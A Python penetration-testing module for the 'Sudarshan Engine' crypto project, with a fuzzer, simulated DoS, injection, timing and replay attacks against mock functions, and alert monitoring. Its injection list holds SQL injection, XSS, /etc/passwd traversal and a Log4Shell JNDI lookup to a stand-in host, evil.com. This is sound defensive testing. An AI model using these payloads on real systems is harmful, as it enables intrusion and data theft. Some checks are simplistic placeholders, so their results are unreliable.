#!/usr/bin/env python3
"""
Sudarshan Engine Penetration Testing Framework

Comprehensive security testing suite for quantum-safe operations,
including vulnerability assessment, fuzzing, and attack simulations.
"""

import os
import sys
import time
import json
import random
import secrets
import asyncio
from datetime import datetime, timedelta
from typing import Dict, List, Optional, Any, Callable
from dataclasses import dataclass
from concurrent.futures import ThreadPoolExecutor
import threading

# Add parent directory to path
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))

from security.security_manager import (
    SecurityManager, SecurityContext, SecurityLevel,
    SecurityEvent, ThreatLevel, SecurityError
)


@dataclass
class PenetrationTestResult:
    """Result of a penetration test."""
    test_name: str
    target: str
    success: bool
    severity: str
    description: str
    details: Dict[str, Any]
    timestamp: datetime
    duration: float

    def to_dict(self) -> Dict[str, Any]:
        """Convert to dictionary for reporting."""
        return {
            "test_name": self.test_name,
            "target": self.target,
            "success": self.success,
            "severity": self.severity,
            "description": self.description,
            "details": self.details,
            "timestamp": self.timestamp.isoformat(),
            "duration": self.duration
        }


class FuzzingEngine:
    """Intelligent fuzzing engine for input validation testing."""

    def __init__(self):
        self.test_cases = []
        self.mutators = [
            self._mutate_bit_flip,
            self._mutate_byte_flip,
            self._mutate_arithmetic,
            self._mutate_known_bad,
            self._mutate_boundary_values,
            self._mutate_format_strings,
            self._mutate_large_inputs
        ]

    def generate_fuzz_cases(self, base_input: bytes,
                           num_cases: int = 1000) -> List[bytes]:
        """Generate fuzz test cases from base input."""
        fuzz_cases = [base_input]  # Include original

        for _ in range(num_cases - 1):
            # Randomly select mutator
            mutator = random.choice(self.mutators)
            mutated = mutator(base_input)
            fuzz_cases.append(mutated)

        return fuzz_cases

    def _mutate_bit_flip(self, data: bytes) -> bytes:
        """Flip random bits in the data."""
        if len(data) == 0:
            return data

        byte_pos = random.randint(0, len(data) - 1)
        bit_pos = random.randint(0, 7)

        byte_val = data[byte_pos]
        flipped = byte_val ^ (1 << bit_pos)

        return data[:byte_pos] + bytes([flipped]) + data[byte_pos + 1:]

    def _mutate_byte_flip(self, data: bytes) -> bytes:
        """Flip random bytes in the data."""
        if len(data) == 0:
            return data

        pos = random.randint(0, len(data) - 1)
        return data[:pos] + bytes([random.randint(0, 255)]) + data[pos + 1:]

    def _mutate_arithmetic(self, data: bytes) -> bytes:
        """Apply arithmetic mutations."""
        if len(data) < 4:
            return data

        pos = random.randint(0, len(data) - 4)
        value = int.from_bytes(data[pos:pos+4], 'little')
        mutated_value = value + random.randint(-1000, 1000)
        mutated_bytes = mutated_value.to_bytes(4, 'little')

        return data[:pos] + mutated_bytes + data[pos + 4:]

    def _mutate_known_bad(self, data: bytes) -> bytes:
        """Insert known problematic values."""
        bad_values = [
            b"\x00" * 100,  # Null bytes
            b"A" * 1000,    # Repeated characters
            b"../",         # Path traversal
            b"<script>",    # XSS attempt
            b"../../../etc/passwd",  # File inclusion
            b"\xff" * 50,   # High bytes
        ]

        bad_value = random.choice(bad_values)
        pos = random.randint(0, max(0, len(data) - len(bad_value)))

        return data[:pos] + bad_value + data[pos:]

    def _mutate_boundary_values(self, data: bytes) -> bytes:
        """Test boundary conditions."""
        boundaries = [
            b"",  # Empty
            b"\x00",  # Single null
            b"\xff",  # Single high byte
            b"\x00" * 10000,  # Very large
            b"A" * 10000,     # Very large repeated
        ]

        return random.choice(boundaries)

    def _mutate_format_strings(self, data: bytes) -> bytes:
        """Insert format string vulnerabilities."""
        format_strings = [
            b"%s%s%s",
            b"%x%x%x",
            b"%n%n%n",
            b"%.1000000f",
            b"%*.*s",
        ]

        format_str = random.choice(format_strings)
        pos = random.randint(0, len(data))

        return data[:pos] + format_str + data[pos:]

    def _mutate_large_inputs(self, data: bytes) -> bytes:
        """Generate very large inputs."""
        sizes = [10000, 50000, 100000, 500000]
        size = random.choice(sizes)

        return secrets.token_bytes(size)


class AttackSimulator:
    """Simulates various attack vectors against the system."""

    def __init__(self):
        self.security_manager = SecurityManager()

    async def simulate_dos_attack(self, target_function: Callable,
                                duration: int = 60) -> PenetrationTestResult:
        """Simulate Denial of Service attack."""
        start_time = time.time()
        requests_made = 0
        errors_encountered = 0

        end_time = start_time + duration

        while time.time() < end_time:
            try:
                # Generate random malicious input
                malicious_data = secrets.token_bytes(random.randint(1000, 10000))

                # Attempt to call target function
                await asyncio.get_event_loop().run_in_executor(
                    None, target_function, malicious_data
                )
                requests_made += 1

            except Exception:
                errors_encountered += 1
                requests_made += 1

        success_rate = (requests_made - errors_encountered) / max(requests_made, 1)

        return PenetrationTestResult(
            test_name="dos_simulation",
            target="system_resilience",
            success=success_rate < 0.5,  # Success if system handles load poorly
            severity="HIGH" if success_rate < 0.5 else "LOW",
            description=f"Simulated DoS attack with {requests_made} requests",
            details={
                "requests_made": requests_made,
                "errors_encountered": errors_encountered,
                "success_rate": success_rate,
                "duration": duration
            },
            timestamp=datetime.utcnow(),
            duration=time.time() - start_time
        )

    async def simulate_injection_attack(self, target_function: Callable) -> PenetrationTestResult:
        """Simulate injection attacks."""
        start_time = time.time()

        injection_payloads = [
            "'; DROP TABLE users; --",
            "<script>alert('xss')</script>",
            "../../../etc/passwd",
            "${jndi:ldap://evil.com/a}",
            "{{7*7}}",
            "eval('malicious_code')",
            b"\x00" * 100 + b"malicious",
            "admin' OR '1'='1",
        ]

        successful_injections = 0
        total_attempts = len(injection_payloads)

        for payload in injection_payloads:
            try:
                if isinstance(payload, str):
                    payload = payload.encode()

                result = await asyncio.get_event_loop().run_in_executor(
                    None, target_function, payload
                )

                # Check if injection was successful (simplified check)
                if b"error" not in result.lower():
                    successful_injections += 1

            except Exception:
                # Injection might have caused an error, which is good
                pass

        success_rate = successful_injections / total_attempts

        return PenetrationTestResult(
            test_name="injection_attack",
            target="input_validation",
            success=success_rate > 0.1,  # Success if any injection worked
            severity="CRITICAL" if success_rate > 0.5 else "MEDIUM" if success_rate > 0 else "LOW",
            description=f"Tested {total_attempts} injection payloads",
            details={
                "successful_injections": successful_injections,
                "total_attempts": total_attempts,
                "success_rate": success_rate,
                "payloads_tested": injection_payloads
            },
            timestamp=datetime.utcnow(),
            duration=time.time() - start_time
        )

    async def simulate_timing_attack(self, target_function: Callable) -> PenetrationTestResult:
        """Simulate timing attacks to leak information."""
        start_time = time.time()

        # Test different input lengths to detect timing differences
        test_lengths = [10, 100, 1000, 10000]
        timing_results = {}

        for length in test_lengths:
            test_data = secrets.token_bytes(length)
            timings = []

            # Measure multiple executions
            for _ in range(10):
                start = time.perf_counter()
                try:
                    await asyncio.get_event_loop().run_in_executor(
                        None, target_function, test_data
                    )
                except Exception:
                    pass
                end = time.perf_counter()
                timings.append(end - start)

            avg_time = sum(timings) / len(timings)
            timing_results[length] = avg_time

        # Analyze timing differences
        times = list(timing_results.values())
        max_diff = max(times) - min(times)
        avg_time = sum(times) / len(times)

        # Detect potential timing leak
        timing_leak_detected = max_diff > avg_time * 0.5

        return PenetrationTestResult(
            test_name="timing_attack",
            target="cryptographic_operations",
            success=timing_leak_detected,
            severity="HIGH" if timing_leak_detected else "LOW",
            description="Analyzed timing differences for potential information leakage",
            details={
                "timing_results": timing_results,
                "max_difference": max_diff,
                "average_time": avg_time,
                "timing_leak_detected": timing_leak_detected
            },
            timestamp=datetime.utcnow(),
            duration=time.time() - start_time
        )

    async def simulate_replay_attack(self, target_function: Callable) -> PenetrationTestResult:
        """Simulate replay attacks."""
        start_time = time.time()

        # Capture a valid operation
        valid_data = secrets.token_bytes(100)
        try:
            original_result = await asyncio.get_event_loop().run_in_executor(
                None, target_function, valid_data
            )
        except Exception as e:
            return PenetrationTestResult(
                test_name="replay_attack",
                target="operation_uniqueness",
                success=True,  # Can't test if we can't get a valid operation
                severity="UNKNOWN",
                description="Could not obtain valid operation for replay testing",
                details={"error": str(e)},
                timestamp=datetime.utcnow(),
                duration=time.time() - start_time
            )

        # Attempt to replay the same operation
        replay_successful = False
        try:
            replay_result = await asyncio.get_event_loop().run_in_executor(
                None, target_function, valid_data
            )
            # If we get here without error, replay might be possible
            replay_successful = True
        except Exception:
            # Expected: replay should fail
            replay_successful = False

        return PenetrationTestResult(
            test_name="replay_attack",
            target="operation_uniqueness",
            success=replay_successful,  # Success if replay worked (bad)
            severity="CRITICAL" if replay_successful else "LOW",
            description="Tested replay attack resistance",
            details={
                "original_result": original_result[:50] if isinstance(original_result, bytes) else str(original_result)[:50],
                "replay_successful": replay_successful
            },
            timestamp=datetime.utcnow(),
            duration=time.time() - start_time
        )


class VulnerabilityScanner:
    """Automated vulnerability scanner."""

    def __init__(self):
        self.security_manager = SecurityManager()
        self.fuzz_engine = FuzzingEngine()
        self.attack_simulator = AttackSimulator()

    async def scan_for_vulnerabilities(self, target_functions: Dict[str, Callable]) -> List[PenetrationTestResult]:
        """Comprehensive vulnerability scan."""
        results = []

        print("🔍 Starting comprehensive vulnerability scan...")

        # 1. Fuzzing tests
        print("🧪 Running fuzzing tests...")
        for func_name, func in target_functions.items():
            if "encrypt" in func_name or "decrypt" in func_name:
                fuzz_results = await self._run_fuzzing_tests(func_name, func)
                results.extend(fuzz_results)

        # 2. Attack simulations
        print("⚔️  Running attack simulations...")
        attack_results = await self._run_attack_simulations(target_functions)
        results.extend(attack_results)

        # 3. Configuration analysis
        print("⚙️  Analyzing configuration...")
        config_results = self._analyze_configuration()
        results.extend(config_results)

        # 4. Dependency analysis
        print("📦 Analyzing dependencies...")
        dependency_results = self._analyze_dependencies()
        results.extend(dependency_results)

        print(f"✅ Scan complete! Found {len(results)} potential issues.")
        return results

    async def _run_fuzzing_tests(self, func_name: str, func: Callable) -> List[PenetrationTestResult]:
        """Run fuzzing tests on a function."""
        results = []

        # Generate base test case
        base_input = secrets.token_bytes(100)

        # Generate fuzz cases
        fuzz_cases = self.fuzz_engine.generate_fuzz_cases(base_input, 100)

        crashes = 0
        exceptions = 0

        for i, fuzz_case in enumerate(fuzz_cases):
            try:
                result = await asyncio.get_event_loop().run_in_executor(
                    None, func, fuzz_case
                )
            except Exception as e:
                exceptions += 1
                if "crash" in str(e).lower() or "segmentation" in str(e).lower():
                    crashes += 1

        if exceptions > 0:
            severity = "CRITICAL" if crashes > 0 else "MEDIUM" if exceptions > 10 else "LOW"

            results.append(PenetrationTestResult(
                test_name=f"fuzz_{func_name}",
                target=func_name,
                success=exceptions > 0,
                severity=severity,
                description=f"Fuzzing test found {exceptions} exceptions, {crashes} crashes",
                details={
                    "total_cases": len(fuzz_cases),
                    "exceptions": exceptions,
                    "crashes": crashes,
                    "exception_rate": exceptions / len(fuzz_cases)
                },
                timestamp=datetime.utcnow(),
                duration=0.0
            ))

        return results

    async def _run_attack_simulations(self, target_functions: Dict[str, Callable]) -> List[PenetrationTestResult]:
        """Run attack simulations."""
        results = []

        # Choose a representative function for testing
        test_func = next(iter(target_functions.values()))

        # Run different attack types
        attack_types = [
            ("dos", self.attack_simulator.simulate_dos_attack),
            ("injection", self.attack_simulator.simulate_injection_attack),
            ("timing", self.attack_simulator.simulate_timing_attack),
            ("replay", self.attack_simulator.simulate_replay_attack),
        ]

        for attack_name, attack_func in attack_types:
            try:
                result = await attack_func(test_func)
                results.append(result)
                print(f"  ✅ {attack_name} simulation complete")
            except Exception as e:
                print(f"  ❌ {attack_name} simulation failed: {e}")

        return results

    def _analyze_configuration(self) -> List[PenetrationTestResult]:
        """Analyze system configuration for vulnerabilities."""
        results = []

        # Check security settings
        security_status = self.security_manager.get_security_status()

        if not security_status.get("enclave_available", False):
            results.append(PenetrationTestResult(
                test_name="config_hardware_security",
                target="system_configuration",
                success=True,  # Found issue
                severity="MEDIUM",
                description="Hardware security module not available",
                details={"recommendation": "Install TPM or HSM for enhanced security"},
                timestamp=datetime.utcnow(),
                duration=0.0
            ))

        return results

    def _analyze_dependencies(self) -> List[PenetrationTestResult]:
        """Analyze dependencies for known vulnerabilities."""
        results = []

        # This would integrate with vulnerability databases
        # For now, just check basic dependency security
        try:
            import cryptography
            version = cryptography.__version__
            # In real implementation, check against CVE database
            results.append(PenetrationTestResult(
                test_name="dependency_cryptography",
                target="cryptography_library",
                success=False,  # Assume no known vulnerabilities
                severity="LOW",
                description=f"Cryptography library version {version} - no known vulnerabilities",
                details={"version": version, "status": "secure"},
                timestamp=datetime.utcnow(),
                duration=0.0
            ))
        except ImportError:
            results.append(PenetrationTestResult(
                test_name="dependency_cryptography",
                target="cryptography_library",
                success=True,  # Missing dependency is an issue
                severity="HIGH",
                description="Cryptography library not installed",
                details={"recommendation": "Install cryptography library"},
                timestamp=datetime.utcnow(),
                duration=0.0
            ))

        return results

    def generate_security_report(self, results: List[PenetrationTestResult]) -> Dict[str, Any]:
        """Generate comprehensive security report."""
        report = {
            "scan_timestamp": datetime.utcnow().isoformat(),
            "total_tests": len(results),
            "vulnerabilities_found": len([r for r in results if r.success]),
            "severity_breakdown": {},
            "critical_issues": [],
            "recommendations": []
        }

        # Analyze results
        for result in results:
            # Count by severity
            report["severity_breakdown"][result.severity] = \
                report["severity_breakdown"].get(result.severity, 0) + 1

            # Collect critical issues
            if result.severity in ["CRITICAL", "HIGH"]:
                report["critical_issues"].append({
                    "test": result.test_name,
                    "description": result.description,
                    "details": result.details
                })

        # Generate recommendations
        if report["vulnerabilities_found"] > 0:
            report["recommendations"].append(
                "Address high and critical severity vulnerabilities immediately"
            )

        if report["severity_breakdown"].get("CRITICAL", 0) > 0:
            report["recommendations"].append(
                "Critical vulnerabilities detected - immediate remediation required"
            )

        return report


class SecurityMonitoring:
    """Real-time security monitoring and alerting."""

    def __init__(self):
        self.alerts = []
        self.metrics = {}
        self.thresholds = {
            "failed_auth_attempts": 5,
            "suspicious_activities": 3,
            "rate_limit_exceeded": 10,
            "tamper_attempts": 1
        }

    def monitor_security_event(self, event: SecurityEvent,
                              context: SecurityContext,
                              details: Dict[str, Any]):
        """Monitor security events and trigger alerts if needed."""
        # Update metrics
        event_key = event.value
        self.metrics[event_key] = self.metrics.get(event_key, 0) + 1

        # Check thresholds
        if event_key in self.thresholds:
            if self.metrics[event_key] >= self.thresholds[event_key]:
                self._trigger_alert(event, context, details)

        # Special handling for critical events
        if event in [SecurityEvent.TAMPER_ATTEMPT,
                    SecurityEvent.ENCLAVE_BREACH_ATTEMPT,
                    SecurityEvent.HARDWARE_SECURITY_FAILURE]:
            self._trigger_critical_alert(event, context, details)

    def _trigger_alert(self, event: SecurityEvent,
                      context: SecurityContext,
                      details: Dict[str, Any]):
        """Trigger a security alert."""
        alert = {
            "timestamp": datetime.utcnow().isoformat(),
            "event": event.value,
            "severity": "MEDIUM",
            "context": context.__dict__,
            "details": details,
            "recommendation": self._get_recommendation(event)
        }

        self.alerts.append(alert)
        self._send_alert_notification(alert)

    def _trigger_critical_alert(self, event: SecurityEvent,
                               context: SecurityContext,
                               details: Dict[str, Any]):
        """Trigger a critical security alert."""
        alert = {
            "timestamp": datetime.utcnow().isoformat(),
            "event": event.value,
            "severity": "CRITICAL",
            "context": context.__dict__,
            "details": details,
            "recommendation": "Immediate investigation required"
        }

        self.alerts.append(alert)
        self._send_critical_notification(alert)

    def _get_recommendation(self, event: SecurityEvent) -> str:
        """Get recommendation for security event."""
        recommendations = {
            SecurityEvent.AUTHENTICATION_FAILURE: "Review authentication policies",
            SecurityEvent.AUTHORIZATION_FAILURE: "Check access control configuration",
            SecurityEvent.TAMPER_ATTEMPT: "Verify file integrity and access logs",
            SecurityEvent.RATE_LIMIT_EXCEEDED: "Monitor for DoS attack patterns",
            SecurityEvent.SUSPICIOUS_ACTIVITY: "Investigate user behavior patterns"
        }

        return recommendations.get(event, "Review security policies")

    def _send_alert_notification(self, alert: Dict[str, Any]):
        """Send alert notification (email, Slack, etc.)."""
        # In real implementation, integrate with notification systems
        print(f"🚨 SECURITY ALERT: {alert['event']} - {alert['recommendation']}")

    def _send_critical_notification(self, alert: Dict[str, Any]):
        """Send critical alert notification."""
        print(f"🚨🚨 CRITICAL SECURITY ALERT: {alert['event']} - IMMEDIATE ACTION REQUIRED")

    def get_security_metrics(self) -> Dict[str, Any]:
        """Get current security metrics."""
        return {
            "total_alerts": len(self.alerts),
            "active_alerts": len([a for a in self.alerts if a["severity"] == "CRITICAL"]),
            "event_counts": self.metrics.copy(),
            "last_updated": datetime.utcnow().isoformat()
        }


# Global instances
vulnerability_scanner = VulnerabilityScanner()
security_monitoring = SecurityMonitoring()


async def run_comprehensive_security_test():
    """Run comprehensive security testing suite."""
    print("🔒 Starting Comprehensive Security Test Suite")
    print("=" * 50)

    # Mock target functions for testing
    target_functions = {
        "encrypt_data": lambda data: f"encrypted_{data[:10]}" if isinstance(data, bytes) else "invalid",
        "decrypt_data": lambda data: f"decrypted_{data[:10]}" if isinstance(data, bytes) else "invalid",
        "validate_input": lambda data: len(data) < 1000 if isinstance(data, bytes) else False
    }

    # Run vulnerability scan
    scan_results = await vulnerability_scanner.scan_for_vulnerabilities(target_functions)

    # Generate security report
    report = vulnerability_scanner.generate_security_report(scan_results)

    # Print results
    print(f"\n📊 Security Test Results:")
    print(f"Total tests run: {report['total_tests']}")
    print(f"Vulnerabilities found: {report['vulnerabilities_found']}")
    print(f"Severity breakdown: {report['severity_breakdown']}")

    if report['critical_issues']:
        print(f"\n🚨 Critical Issues Found:")
        for issue in report['critical_issues']:
            print(f"  • {issue['test']}: {issue['description']}")

    if report['recommendations']:
        print(f"\n💡 Recommendations:")
        for rec in report['recommendations']:
            print(f"  • {rec}")

    return report


if __name__ == "__main__":
    # Run comprehensive security tests
    asyncio.run(run_comprehensive_security_test())